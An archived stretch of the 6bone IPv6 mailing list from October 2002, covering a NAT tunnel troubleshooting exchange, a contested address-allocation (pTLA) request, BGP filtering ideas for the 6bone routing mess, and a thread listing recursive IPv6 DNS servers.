> routable. I thought that using my DSL router's address would let the 
> packets be NATted and work just fine.

You should request the tunnel with your external (public) interfaces IP
address.
Then you should reconfigure your gif0 endpoint to 172.16.0.4.
Check the ifconfig line I gave below, it will work ;)

Greets,
 Jeroen

> > Jeremy Worrells wrote:
> >
> > <SNIP>
> > > 11:33:50.929054 worrells.dsl.xmission.com > www.freenet6.net:
> > > jworrells.tsps1.freenet6.net >
> > > 3ffe:505:2008:1:2e0:18ff:fea8:4533: icmp6:
> > > echo request (encap)
> > > 11:33:51.358566 www.freenet6.net > 172.16.0.4:
> > > 3ffe:505:2008:1:2e0:18ff:fea8:4533 >
> > > jworrells.tsps1.freenet6.net: icmp6:
> > > echo reply (encap)
> >
> > Tunnel endpoint is 172.16.0.4 but:
> >
> > <SNIP>
> >
> > > gif0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1280
> > >         tunnel inet 166.70.27.6 --> 206.123.31.114
> > >         inet6 fe80::203:47ff:fe98:96f5%gif0 prefixlen 64 
> > scopeid 0x7
> > >         inet6 3ffe:b80:2:f1a6::2 --> 3ffe:b80:2:f1a6::1 
> > prefixlen 128
> >
> > It's configured as 166.70.27.6.
> >
> > Change that and it will work:
> > ifconfig gif0 tunnel 172.16.0.4 206.123.31.114
> >
> > The kernel throws away your packets as the local endpoint 
> > doesn't match.


From pekkas@netcore.fi Mon Oct 21 14:19:45 2002
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From: Pekka Savola <pekkas@netcore.fi>
To: Jeremy Worrells <ipv6@worrells.org>
cc: 6bone@ISI.EDU
Subject: Re: [6bone] IPv6 via NAT - problems
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On Mon, 21 Oct 2002, Jeremy Worrells wrote:
> Good afternoon, 6bone!
> 
> I am a career sysadmin with a great interest in IPv6. I am trying to get a
> small IPv6 network running at home, using Freenet6 and a FreeBSD 4.6.2
> server. I have the software installed, and the interface comes up. However,
> I cannot get a ping6 or traceroute6 to supply any answers. My Cisco 678 DSL
> router is set up to NAT all protocol 41 and TCP port 4343 traffic to my
> FreeBSD server. Here is the output from a tcpdump on another machine on the
> LAN:
> 
> 11:33:50.929054 worrells.dsl.xmission.com > www.freenet6.net:
> jworrells.tsps1.freenet6.net > 3ffe:505:2008:1:2e0:18ff:fea8:4533: icmp6:
> echo request (encap)
> 11:33:51.358566 www.freenet6.net > 172.16.0.4:
> 3ffe:505:2008:1:2e0:18ff:fea8:4533 > jworrells.tsps1.freenet6.net: icmp6:
> echo reply (encap)
> 
> It appears that the packets are going to the right places, but are for some
> reason not getting to the IPv6 stack. Here are my interface details:
> 
> fxp0: flags=8843<UP,BROADCAST,RUNNING,SIMPLEX,MULTICAST> mtu 1500
>         inet 172.16.0.4 netmask 0xffffff00 broadcast 172.16.0.255
>         inet6 fe80::203:47ff:fe98:96f5%fxp0 prefixlen 64 scopeid 0x1
>         ether 00:03:47:98:96:f5
>         media: Ethernet autoselect (10baseT/UTP)
>         status: active
> gif0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1280
>         tunnel inet 166.70.27.6 --> 206.123.31.114
                      ^^^^^^^^^^^

there's probably a check in the decapsulator that the packets must come 
from this/to this address, perhaps you should try changing it to 
172.16.0.4 ?  Else you have to hack the kernel source, I'm afraid.

Ugly way to get IPv6, but if it works.... :-)

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From chuck@snew.com Mon Oct 21 14:21:21 2002
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Intended generally, to the participants in this discussion:

I'll happily allow that M. DEFFAYET does not use English as his
first language and suggest that highlighting slight misuses of it
is not acceptable in this review phase; instead, asking for and
dealing with the requests and information contained within the words
is appropriate.

Let's re-elevate the discussion back to a civil level without taking
language and the lack of nuance in email into it.


That said, I have a couple thoughts, first being that being a website
hosting/design company that ONLY serves IPv6 would seem a tad
premature to offer with any hope of success.

The next thought being that I too have a CoLo'd machine and one
that, until last friday, was at home on a static IP address.  A
move blew the latter situation apart.

I never felt a real need for multiple IP addresses at the Colo
machine, though it does provide tunnels and IPSec endpoints for
several people.  I've gotten on just fine with a fairly small
allocation.

I'd much rather have upstream ISPs route my once portable Class C
(24 bit is useless these days).

A pTLA never seemed justified except in the lab, where a fictional
one (blocked at the router) was used to learn a bit about some of
the capabilities of some software and hardware tools we were playing
with.

I've not seen anything to justify a pTLA; where folks I know a
Motorola (one of the larger networks on the planet) and the like
certain DO justify it.

Thank you,
chuck

Quoting John Fraizer (tvo@EnterZone.Net):
> On 20 Oct 2002, Nicolas DEFFAYET wrote:
> > Here a FAQ, no more reply on this list about "pTLA request NDSOFTWARE -
> > review closes 23 October 2002".
> > 
> > NDSoftware pTLA request is fully compliant with RFC2772.
> > http://mailman.isi.edu/pipermail/6bone/2002-October/006364.html
> > 
> > Don't try to find a bug, there is no bugs.
> > If you are jealous, search another victim.
> > 
...
> I don't know about "bugs" in your application but, there are several
> compliance issues, which I have already pointed out in previous emails.
...
> OK.  And how do you suppose that you're going to qualify for an sTLA?
> 
> > 
> > Is Nicolas DEFFAYET is a kid without brain who destroy 6bone ?
> > 
> > I'm Nicolas DEFFAYET, i have 4 years, i got every day to school, and i
> > play with my FisherPrice routers and i destroy all 6bone.
> > 
> 
> I hope you don't mind but, I'm going to use that in my signature line from
> now on.  It's so funny!  

From ipv6@worrells.org Mon Oct 21 14:22:10 2002
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From: "Jeremy Worrells" <ipv6@worrells.org>
To: "Jeroen Massar" <jeroen@unfix.org>
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Subject: Re: [6bone] IPv6 via NAT - problems
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Thanks Jeroen! That did the trick. Looks like I'm up!

frink# ping6 www.jp.freebsd.org
PING6(56=40+8+8 bytes) 3ffe:b80:2:f1a6::2 -->
3ffe:505:2008:1:2e0:18ff:fea8:4533
16 bytes from 3ffe:505:2008:1:2e0:18ff:fea8:4533, icmp_seq=0 hlim=56
time=445.559 ms

Fantastic!

Jeremy
----- Original Message -----
From: "Jeroen Massar" <jeroen@unfix.org>
To: "'Jeremy Worrells'" <jeremy@worrells.org>
Cc: "'6bone'" <6bone@isi.edu>
Sent: Monday, October 21, 2002 3:16 PM
Subject: RE: [6bone] IPv6 via NAT - problems


Jeremy Worrells [mailto:jeremy@worrells.org] wrote:

> Unfortunately, 172.16.0.4 is on a non-routeable subnet that I
> am using. I tried using 172.16.0.4 as my address, but freenet6 throws
> away any request using 10/8, 172.16/12, or 192.168/16 addresses, as
it's not
> routable. I thought that using my DSL router's address would let the
> packets be NATted and work just fine.

You should request the tunnel with your external (public) interfaces IP
address.
Then you should reconfigure your gif0 endpoint to 172.16.0.4.
Check the ifconfig line I gave below, it will work ;)

Greets,
 Jeroen

> > Jeremy Worrells wrote:
> >
> > <SNIP>
> > > 11:33:50.929054 worrells.dsl.xmission.com > www.freenet6.net:
> > > jworrells.tsps1.freenet6.net >
> > > 3ffe:505:2008:1:2e0:18ff:fea8:4533: icmp6:
> > > echo request (encap)
> > > 11:33:51.358566 www.freenet6.net > 172.16.0.4:
> > > 3ffe:505:2008:1:2e0:18ff:fea8:4533 >
> > > jworrells.tsps1.freenet6.net: icmp6:
> > > echo reply (encap)
> >
> > Tunnel endpoint is 172.16.0.4 but:
> >
> > <SNIP>
> >
> > > gif0: flags=8051<UP,POINTOPOINT,RUNNING,MULTICAST> mtu 1280
> > >         tunnel inet 166.70.27.6 --> 206.123.31.114
> > >         inet6 fe80::203:47ff:fe98:96f5%gif0 prefixlen 64
> > scopeid 0x7
> > >         inet6 3ffe:b80:2:f1a6::2 --> 3ffe:b80:2:f1a6::1
> > prefixlen 128
> >
> > It's configured as 166.70.27.6.
> >
> > Change that and it will work:
> > ifconfig gif0 tunnel 172.16.0.4 206.123.31.114
> >
> > The kernel throws away your packets as the local endpoint
> > doesn't match.


From riel@conectiva.com.br Mon Oct 21 14:31:53 2002
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On Mon, 21 Oct 2002, Pekka Savola wrote:

> http://www.netcore.fi/pekkas/ietf/6bone-messv2.txt

I like it.  The only thing I'm missing is a way for sites to
easily see if other sites are transit sites or not, ie. should
you accept announced transit paths from a site or not ?

I suppose this can be taken care of by having routing peers
talk to each other, but that might lead to the same lack of
hierarchy the 6bone has today.

It boils down to a way the "serious" (whatever that is) 6bone
sites can exclude transit via the sites that aren't suitable
for transit, without relying on those sites for that. This is
essential since some of the 6bone sites are badly administrated.
Most 6bone sites may be administrated fine, but having routing
messed up by a few badly run sites would suck immensely ;)

kind regards,

Rik
-- 
Bravely reimplemented by the knights who say "NIH".
http://www.surriel.com/		http://distro.conectiva.com/
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From arien+6bone@ams-ix.net Mon Oct 21 15:56:28 2002
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Subject: Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October
	2002
From: Arien Vijn <arien+6bone@ams-ix.net>
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On 21-10-2002 10:27AM, "Pim van Pelt" <pim@ipng.nl> wrote:

> On Mon, Oct 21, 2002 at 10:21:33AM +0200, Stephane Bortzmeyer wrote:
> | On Sun, Oct 20, 2002 at 10:14:45PM +0200,
> |  Pim van Pelt <pim@ipng.nl> wrote
> |  a message of 76 lines which said:
> | 
> | > Last month, I saw a small thread on the lir-wg@ripe.net mailinglist,
> | > where Nicolas complained in this public forum about the fact that the
> | > NCC did not grant him an AS number request.
> | 
> | RIPE-NCC gave a stupid reply ("you do not need an AS number for IPv6")
> | and fixed the mistake afterwards with apologies. In that case, it was
> | not Nicolas' fault.
> Stephane,
> 
> To be frank: the answer was not stupid, nor was there a need to
> appologise for it. To run IPv6, one does not need an AS number. One
> needs a machine which supports the protocol.
> 

True, but this is not the initial response from the NCC. Which was:

"Thank you for your request for an AS number, with IPv6 you do not need to
use any AS numbers nor route objects."

And that is a slightly inaccurate statement isn't it?


Anyway I was rather surprised that Mr Deffayet got his AS number that fast
after all. But let's trust the NCC decided on the merits of the request they
got via his LIR. 

Arien

-- 

Arien Vijn
Amsterdam Internet Exchange
http://www.ams-ix.net


From gert@Space.Net Tue Oct 22 00:34:13 2002
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Subject: Re: [6bone] Re: IPv6-only IXP's are absolutely wrong
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Hi,

On Mon, Oct 21, 2002 at 02:09:18PM -0700, Bill Manning wrote:
> % We actually had a separate v6 VLAN for a number of years and concluded that
> % it was not a problem at all to use both protocols in the same VLAN. The
> % benefit of doing that is that members can use dual stack routers which is
> % exactly what most v6 enabled IXPs do.
> 
> 	Again, YMMV.  Two of my native v6 peers refuse to use their native
> 	v4 boxes because of the performance hit.  That and something about
> 	using EFT/beta code in production boxes. :)

On the DECIX, we have a number of participants with Junipers, who do v4+v6
on the same box, and a number of Cisco users, who have separate boxes for
v4 and v6 connectivity.

We are using one VLAN for both, so the Juniper people can save the second
port / second router.

> 	Not saying that these issues can't be worked around. Its that there
> 	are real issues here and for somefolks, it may justify an independent
> 	fabric.  For others, a separate VLAN will work and for others there
> 	is no problem with dumping all the traffic on the same media.

Thanks for your insights, though.  We haven't seen any problems yet, but
will closely monitor those issues.

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  48282  (47686)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From chbm@whisky.cprm.net Tue Oct 22 02:33:42 2002
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From: Carlos Morgado <chbm@cprm.net>
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Subject: Re: [6bone] very drafty draft on 6bone routing mess
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On Mon, Oct 21, 2002 at 07:31:12PM -0200, Rik van Riel wrote:
> On Mon, 21 Oct 2002, Pekka Savola wrote:
> 
> > http://www.netcore.fi/pekkas/ietf/6bone-messv2.txt
> 
> I like it.  The only thing I'm missing is a way for sites to
> easily see if other sites are transit sites or not, ie. should
> you accept announced transit paths from a site or not ?
> 

That info can be gathered to some extent from whois. Apart from that
is commercial dealings.

> I suppose this can be taken care of by having routing peers
> talk to each other, but that might lead to the same lack of
> hierarchy the 6bone has today.
> 

Internet currently works with peers talking to each other. Also, you
either buy/negotiate transits or you do non-transit peering
so there's not a lot of ambiguity there :) 
Do you have other scenarios in mind ?

-- 
Carlos Morgado <chbm@cprm.net> - Internet Engineering - Phone +351 214146594
GPG key: 0x75E451E2 FP: B98B 222B F276 18C0 266B  599D 93A1 A3FB 75E4 51E2
The views expressed above do not bind my employer.

From pekkas@netcore.fi Tue Oct 22 03:13:49 2002
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From: Pekka Savola <pekkas@netcore.fi>
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Hello,

Thanks for the comments.

On Mon, 21 Oct 2002, Rik van Riel wrote:
> On Mon, 21 Oct 2002, Pekka Savola wrote:
> 
> > http://www.netcore.fi/pekkas/ietf/6bone-messv2.txt
> 
> I like it.  The only thing I'm missing is a way for sites to
> easily see if other sites are transit sites or not, ie. should
> you accept announced transit paths from a site or not ?

I'm not sure what you mean, exactly.  

If I understood your question correctly, this should be done by you, by 
observing which paths the neighbor advertises.

After that, if you decide you want only specific, non-transit (at least 
for the whole globe) routes, you can apply route-map's in inbound, like:

AS1234 = your peer
AS5678 = your peer's customer

ip as-path access-list 50 ^1234+$
ip as-path access-list 50 ^1234+ 5678+$

(you can leave out '+' if you don't want to allow prepending, of course.)

But I'm not sure if I answered your question...?

[...]
> It boils down to a way the "serious" (whatever that is) 6bone
> sites can exclude transit via the sites that aren't suitable
> for transit, without relying on those sites for that. 

Basically, you have to ensure that those sites never get your route, 
especially without having no-export/no-advertise community tagged to it or 
before having as-path prepended so much it doesn't matter if they 
re-advertise it.

That decision is easy when those sites are your direct peers, but unless 
they are.. there may be some coordination between the parties involved, or 
you could just not advertise the route to them at all (via that path).

We could, of course, try to specify a few default communities like:

<AS-NUMBER>:<VALUE> and <AS-NUMBER>:<VALUE>, <AS-NBR>:<VALUE> , like:

6680:666
6680:667
1234:668

and the definition would be either (to be examined by every AS):
 1) if your AS is <AS-NUMBER> and <VALUE> is "666", do not announce this 
to any external peer.
 2) if your AS is <AS-NUMBER> and <VALUE> is "667" you may only announce 
this to external peers using no-export community.
 3) if your *neighbor's* AS is <AS-NBR> and <VALUE> is "668", do not 
announce this route to the neighbor at all. (This is particularly nasty 
and could be used to create total blockades :-).
  Option a) retain this community when advertising to valid peers (could get nasty..)
  Option b) clear this community when advertising to valid peers

.. but I'm not sure how useful these would be, as the whole point is 
trying to get rid of 6bone routing mess, not try to manage with it (as it 
currently is).  Also, I'm not sure how widely these would be implemented 
(as least 3 would require a lot of work) -- perhaps those who really want 
to do the best thing would do it only.

I don't think this can be done in a global scope, and I doubt reserving 
specific communities would be accepted by IESG, but in some smaller 
scopes, why not..?

> This is
> essential since some of the 6bone sites are badly administrated.
> Most 6bone sites may be administrated fine, but having routing
> messed up by a few badly run sites would suck immensely ;)

Yep, a "solution" try to avoid dealing with upstreams that have anything
to do with those badly administrative systems, but that isn't easy..

-- 
Pekka Savola                 "Tell me of difficulties surmounted,
Netcore Oy                   not those you stumble over and fall"
Systems. Networks. Security.  -- Robert Jordan: A Crown of Swords


From bmanning@ISI.EDU Tue Oct 22 08:17:35 2002
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From: Bill Manning <bmanning@ISI.EDU>
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To: 6bone@ISI.EDU
Date: Tue, 22 Oct 2002 08:17:34 -0700 (PDT)
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a question came up recently that I could not answer.

	how many recursive IPv6 transport aware DNS
	servers are there?

I have a couple that are "out there" for folks to use
but don't know of any others.   Are people running these
things "in the wild" or are they mostly behind walled-gardens?


-- 
"When in doubt, Twirl..."  -anon

From kim@tac.nyc.ny.us Tue Oct 22 08:42:24 2002
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To: Bill Manning <bmanning@ISI.EDU>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] recursive DNS servers?
In-Reply-To: <200210221517.g9MFHYC27511@boreas.isi.edu>
 from Bill Manning on Tue, 22 Oct 2002 08:17:34 -0700
References: <200210221517.g9MFHYC27511@boreas.isi.edu>
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All of my DNS servers are IPv6-aware/enabled, but only the
non-recursive authoritative servers are accessible from the
general public (grendel.gw.com, morgoth.gw.com, pyry.gw.com).

The registrar I use does not support AAAA records, however,
and I guess most don't (none?)...

If I had an open recursive DNS server, shouldn't I be afraid
to use it myself?

Regards,
+ Kim


| From:    Bill Manning <bmanning@ISI.EDU>
| Date:    Tue, 22 Oct 2002 08:17:34 -0700
|
|
| a question came up recently that I could not answer.
|
| 	how many recursive IPv6 transport aware DNS
| 	servers are there?
|
| I have a couple that are "out there" for folks to use
| but don't know of any others.   Are people running these
| things "in the wild" or are they mostly behind walled-gardens?
|
|
| --
| "When in doubt, Twirl..."  -anon
| _______________________________________________
| 6bone mailing list
| 6bone@mailman.isi.edu
| http://mailman.isi.edu/mailman/listinfo/6bone
|

From bmanning@ISI.EDU Tue Oct 22 08:46:33 2002
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From: Bill Manning <bmanning@ISI.EDU>
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Subject: Re: [6bone] recursive DNS servers?
In-Reply-To: <20021022154222.283677E4C@beowulf.gw.com> from Kimmo Suominen at "Oct 22, 2 11:42:22 am"
To: kim@tac.nyc.ny.us (Kimmo Suominen)
Date: Tue, 22 Oct 2002 08:46:26 -0700 (PDT)
Cc: bmanning@ISI.EDU, 6bone@ISI.EDU
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% All of my DNS servers are IPv6-aware/enabled, but only the
% non-recursive authoritative servers are accessible from the
% general public (grendel.gw.com, morgoth.gw.com, pyry.gw.com).

	thanks.

% The registrar I use does not support AAAA records, however,
% and I guess most don't (none?)...

	not in production - yet.
	when I still did .int, we supported AAAA records.

% If I had an open recursive DNS server, shouldn't I be afraid
% to use it myself?

	Not at all. :)

% 
% Regards,
% + Kim
% 
% 
% | From:    Bill Manning <bmanning@ISI.EDU>
% | Date:    Tue, 22 Oct 2002 08:17:34 -0700
% |
% |
% | a question came up recently that I could not answer.
% |
% | 	how many recursive IPv6 transport aware DNS
% | 	servers are there?
% |
% | I have a couple that are "out there" for folks to use
% | but don't know of any others.   Are people running these
% | things "in the wild" or are they mostly behind walled-gardens?
% |
% |
% | --
% | "When in doubt, Twirl..."  -anon
% | _______________________________________________
% | 6bone mailing list
% | 6bone@mailman.isi.edu
% | http://mailman.isi.edu/mailman/listinfo/6bone
% |
% 


-- 
--bill

From gert@Space.Net Tue Oct 22 09:19:15 2002
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Hi,

On Tue, Oct 22, 2002 at 08:17:34AM -0700, Bill Manning wrote:
> a question came up recently that I could not answer.
> 
> 	how many recursive IPv6 transport aware DNS
> 	servers are there?
> 
> I have a couple that are "out there" for folks to use
> but don't know of any others.   Are people running these
> things "in the wild" or are they mostly behind walled-gardens?

Our official recursive name server, ns2.space.net, is doing v4+v6 
transport (DJB dnscache plus IPv6 patches).  

It's available only for our customers, so it's partly "in the wild" and
partly "walled garden".

Gert Doering
        -- NetMaster
-- 
Total number of prefixes smaller than registry allocations:  48282  (47686)

SpaceNet AG                 Mail: netmaster@Space.Net
Joseph-Dollinger-Bogen 14   Tel : +49-89-32356-0
80807 Muenchen              Fax : +49-89-32356-299


From david@iprg.nokia.com Tue Oct 22 10:53:41 2002
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From: David Kessens <david@IPRG.nokia.com>
To: Pekka Savola <pekkas@netcore.fi>
Cc: 6bone@ISI.EDU
Subject: Re: sTLA alloc policies [Re: [6bone] pTLA request NDSOFTWARE - review closes 23 October 2002]
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Pekka,

On Sun, Oct 20, 2002 at 05:36:10PM +0300, Pekka Savola wrote:
> 
> Oh, Nokia must also have colored the truth slightly..

What are you trying to insinuate here ?!?
Please refrain from such comments if you don't know the details.

We got our address space under the old rules. Despite this, it really
shouldn't be too hard for any large multinational company to show
plans for assigning address space to 200 other organizations. No need
to color the truth at all.

David K.
---

From john@reva.sixgirls.org Tue Oct 22 15:50:37 2002
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From: John Klos <john@sixgirls.org>
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Hello,

> a question came up recently that I could not answer.
>
> 	how many recursive IPv6 transport aware DNS
> 	servers are there?
>
> I have a couple that are "out there" for folks to use
> but don't know of any others.   Are people running these
> things "in the wild" or are they mostly behind walled-gardens?

I don't suppose that there are that many yet, but NetBSD's installer has a
built-in list of IPv6 name servers because you can do a full install
entirely via IPv6. I suppose that while those servers are certainly
willing to allow connections for people installing NetBSD, you might want
to ask each of the server's administrators if they would allow other uses.

In the meanwhile, SCL's main server acts as a DNS and NTP server for many
networks in New York City and elsewhere, and may be used as a public IPv6
server:

reva.sixgirls.org	3ffe:b80:133c:1::1

John Klos
Sixgirls Computing Labs


From dlc@chiba.halibut.com Tue Oct 22 16:22:42 2002
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From: David Carmean <dlc-6bone@halibut.com>
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On Tue, Oct 22, 2002 at 08:17:34AM -0700, Bill Manning wrote:
> 
> a question came up recently that I could not answer.
> 
> 	how many recursive IPv6 transport aware DNS
> 	servers are there?

A semi-related question: how many IPv4 transport 
authoritative nameservers are out there that don't just 
blackhole AAAA queries?  Doubleclick is the biggest 
thorn in my web-browsing side at the moment.  When I'm 
using Mozilla on my 6bone-connected machine, ad-rich 
sites are incredibly slow to load because of all the 
timeouts.




From cfaber@fpsn.net Tue Oct 22 17:06:08 2002
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Organization: fpsn.net, Inc.
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I would suggest using the "Block images from this server" option in
mozilla on such sites. It's really just a work around until doubleclick
figures out how much the IPv6 community needs to see their ads.

:-)


David Carmean wrote:
> 
> On Tue, Oct 22, 2002 at 08:17:34AM -0700, Bill Manning wrote:
> >
> > a question came up recently that I could not answer.
> >
> >       how many recursive IPv6 transport aware DNS
> >       servers are there?
> 
> A semi-related question: how many IPv4 transport
> authoritative nameservers are out there that don't just
> blackhole AAAA queries?  Doubleclick is the biggest
> thorn in my web-browsing side at the moment.  When I'm
> using Mozilla on my 6bone-connected machine, ad-rich
> sites are incredibly slow to load because of all the
> timeouts.
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone

-- 
Colin Faber
(303) 736-5160
fpsn.net, Inc.

* Black holes are where God divided by zero. *

From fink@es.net Tue Oct 22 18:29:25 2002
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To: 6BONE List <6bone@mailman.isi.edu>
From: Bob Fink <fink@es.net>
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Subject: [6bone] pTLA request NDSOFTWARE - change of review date to 30 October
 2002
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6bone Folk,

When I announced the pTLA review for NDSOFTWARE I stated the closing date 
incorrectly as 23 October (only 7 days). It should be 30 October (14 days). 
My fault. Sorry.


Thanks,

Bob


From hansolofalcon@worldnet.att.net Tue Oct 22 19:50:50 2002
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Hello from Gregg C Levine
Indeed. I noticed that. Apology accepted. But I am still inclined to
insist that this request be denied. 
-------------------
Gregg C Levine hansolofalcon@worldnet.att.net
------------------------------------------------------------
"The Force will be with you...Always." Obi-Wan Kenobi
"Use the Force, Luke."  Obi-Wan Kenobi
(This company dedicates this E-Mail to General Obi-Wan Kenobi )
(This company dedicates this E-Mail to Master Yoda )



> -----Original Message-----
> From: 6bone-admin@mailman.isi.edu [mailto:6bone-admin@mailman.isi.edu]
On
> Behalf Of Bob Fink
> Sent: Tuesday, October 22, 2002 9:29 PM
> To: 6BONE List
> Subject: [6bone] pTLA request NDSOFTWARE - change of review date to 30
> October 2002
> 
> 6bone Folk,
> 
> When I announced the pTLA review for NDSOFTWARE I stated the closing
date
> incorrectly as 23 October (only 7 days). It should be 30 October (14
days).
> My fault. Sorry.
> 
> 
> Thanks,
> 
> Bob
> 
> _______________________________________________
> 6bone mailing list
> 6bone@mailman.isi.edu
> http://mailman.isi.edu/mailman/listinfo/6bone


From berni@birkenwald.de Wed Oct 23 00:58:31 2002
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From: Bernhard Schmidt <berni@birkenwald.de>
To: Bill Manning <bmanning@ISI.EDU>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] recursive DNS servers?
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On Tue, Oct 22, 2002 at 08:17:34AM -0700, Bill Manning wrote:

> 	how many recursive IPv6 transport aware DNS
> 	servers are there?

We have an authorative and a recursive IPv6-enabled nameserver out there
waiting for clients. Both using BIND 9.2.2rc1 with FreeBSD 4.(6|7).

Resolver:	resns6.eurocyber.net	2001:768:1:3::2
Authorative:	authns6.eurocyber.net	2001:768:1:3::4

Both free for use from everywhere.

-- 
   bye bye
     Bernhard

From dillema@pasta.cs.uit.no Wed Oct 23 07:22:35 2002
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Date: Wed, 23 Oct 2002 16:22:28 +0200
From: Feico Dillema <feico@pasta.cs.uit.no>
To: Bill Manning <bmanning@ISI.EDU>
Cc: 6bone@ISI.EDU
Subject: Re: [6bone] recursive DNS servers?
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On Tue, Oct 22, 2002 at 08:17:34AM -0700, Bill Manning wrote:
> a question came up recently that I could not answer.
> 
> 	how many recursive IPv6 transport aware DNS
> 	servers are there?
> 
> I have a couple that are "out there" for folks to use
> but don't know of any others.   Are people running these
> things "in the wild" or are they mostly behind walled-gardens?

dns.pasta.cs.uit.no is recursive and authorative and currently open
and "in the wild".

Feico.

From andreas.bergstrom@hiof.no Wed Oct 23 08:39:27 2002
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Today, Feico Dillema uttered these words:

> dns.pasta.cs.uit.no is recursive and authorative and currently open
> and "in the wild".

The same goes for shienar.ipv6.hiof.no

May you live long and spamless,

Andreas Bergstrøm

-- 
My favourite Linux distro: http://www.mandrake-linux.com
'Carpe diem and reach for the stars!'

Can't see my attachments, please read:
http://odin.hiof.no/~andreasb/outlook.html


From lamia@ati.tn Wed Oct 23 11:27:13 2002
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--------------090105000307020306000203
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Dear list members,
First of all, on behalf of the Tunisian Internet Agency (ATI) team, I 
would like to thank all 6bone mailing list members for their generous 
help and support to foster experimentation and deployment of IPv6 by all 
the Internet community.
We also would like to take this opportunity to react to the recent 
E-mail from Mr. Nicolas Defayett since ATI was mentioned as one of  its 
tunnel customers.
In fact, Mr Defayett helped us in establishing our first tunnel with 
6Bone but we faced some trouble with IPv6 routing since he is using a 
private ASN.  The reason why we established a second tunnel with XS26 as 
a transition phase.
And now we've gone a step forward by sending a Sub-TLA request to RIPE 
to get our  IPv6  production address block.
We hope that by this we bring some clarifications regarding our 
participation in the 6Bone Network.
Best Regards
Lamia Chaffai
Tunisian Internet Agency
http://www.ati.tn
http://www.ipv6net.tn



Nicolas DEFFAYET wrote:

>On Sun, 2002-10-20 at 00:24, Gregg C Levine wrote:
>
>Hello Gregg,
>
>  
>
>>I have been lurking on this list, for a good number of years now.
>>Sometimes even posting a comment, or a gripe. This is more along the
>>lines of both. I have been monitoring the traffic discussing
>>NDSOFTWARE's request. Both finding the original message to Bob Fink, and
>>the list, and everything. Sorry Mr. Deffayet, I disagree. For one, you
>>do need to spell out who will be using the service. Is it for your
>>company? Yourself? What? Who, even? Unless you can spell out neatly the
>>answers to my questions, I am inclined to agree with everyone else. I am
>>also agreeing with the people I have disagreed with early on. I might
>>also, add, even Master Yoda's methods of speaking isn't that confusing.
>>    
>>
>
>Who will be using the service:
>
>- NDSoftware (my company)
>
>- many projects (here a list of main projects):
>
>* IPv6-FR
>A non profit organisation for the developement of IPv6 in France
>IPv6-FR run a tunnel broker and have currently 200 users, each user have
>a /48
>=> NDSoftware provide to IPv6-FR: 1 /35 and a native IPv6 connectivity.
>
>* NextGenCollective
>IPv6 research
>http://www.nextgencollective.net/
>NGC[NextGen Collective] provides IPv6-over-IPv4 tunnels to people all
>over the world. 
>ASpath-tree: http://www.nextgencollective.net/bgp4/ (AS65526 is my old
>private ASN)
>=> NDSoftware provide to NextGenCollective: 2 /44, 1 /40, 1 /36 and a
>tunnel IPv6 over IPv4 with BGP (full transit).
>
>* IPng.org.uk
>IPv6 tunnel broker
>http://www.ipng.org.uk/
>ASpath-tree: http://www.ipng.org.uk/bgp/bgp-page-complete.html (AS65526
>is my old private ASN)
>=> NDSoftware provide to IPng.org.uk: 1 /44, 1 /40 and a tunnel IPv6
>over IPv4 with BGP (full transit).
>
>* ILS
>Italian Linux Society
>ILS provide IPv6 connectivity to italian user groups and organizations
>experimenting with IPv6.
>ILS host the IPv6 IRC server calvino.freenode.net
>=> NDSoftware provide to ILS: 1 /44 and a tunnel IPv6 over IPv4 with BGP
>(full transit).
>
>* ATI
>A tunisian ISP
>http://www.ipv6net.tn/
>http://www.ipv6net.tn/ipv6-Tunisia.pdf
>=> NDSoftware provide to ATI: 1 /44 and a tunnel IPv6 over IPv4 with BGP
>(full transit). NDSoftware have help ATI for the IPv6 deployement in
>tunisia. ATI plan later to request a pTLA.
>
>* FABIONNE
>A projet for do IPv6 Debian package
>http://debian-ipv6.fabionne.net/
>=> NDSoftware provide to FABIONNE:  a tunnel IPv6 over IPv4 with BGP
>(full transit) and host a mirror for this projet
>(http://debian-ipv6.mirrors.ndsoftwarenet.com/).
>
>ESMT
>An university in Senegal
>=> NDSoftware provide to ESMT: 1 /44 and a tunnel IPv6 over IPv4.
>
>
>Best regards,
>
>Nicolas DEFFAYET
>
>_______________________________________________
>6bone mailing list
>6bone@mailman.isi.edu
>http://mailman.isi.edu/mailman/listinfo/6bone
>
>
>  
>


--------------090105000307020306000203
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta http-equiv="Content-Type" content="text/html;charset=ISO-8859-1">
  <title></title>
</head>
<body>
Dear list members, <br>
First of all, on behalf of the Tunisian Internet Agency (ATI) team, I  would
like to thank all 6bone mailing list members for their generous  help and
support to foster  experimentation and deployment of IPv6 by all the Internet
community. <br>
We also would like to take this opportunity to react to the recent  E-mail
from Mr. Nicolas Defayett since ATI was mentioned as one of&nbsp; its  tunnel
customers. <br>
In fact, Mr Defayett helped us in establishing our first tunnel with  6Bone
but we faced some trouble with IPv6 routing since he is using a  private
ASN.&nbsp; The reason why we established a second tunnel with XS26 as  a transition
phase. <br>
And now we've gone a step forward by sending a Sub-TLA request to RIPE  to
get our&nbsp; IPv6&nbsp; production address block. <br>
We hope that by this we bring some clarifications regarding our  participation
in the 6Bone Network. <br>
Best Regards <br>
Lamia Chaffai<br>
Tunisian Internet Agency<br>
<a href="http://www.ati.tn">http://www.ati.tn</a><br>
<a href="http://www.ipv6net.tn">http://www.ipv6net.tn</a><br>
<br>
<br>
<br>
Nicolas DEFFAYET wrote:<br>
<blockquote type="cite"
 cite="mid1035121435.4771.54.camel@wks1.fr.corp.ndsoftware.com">
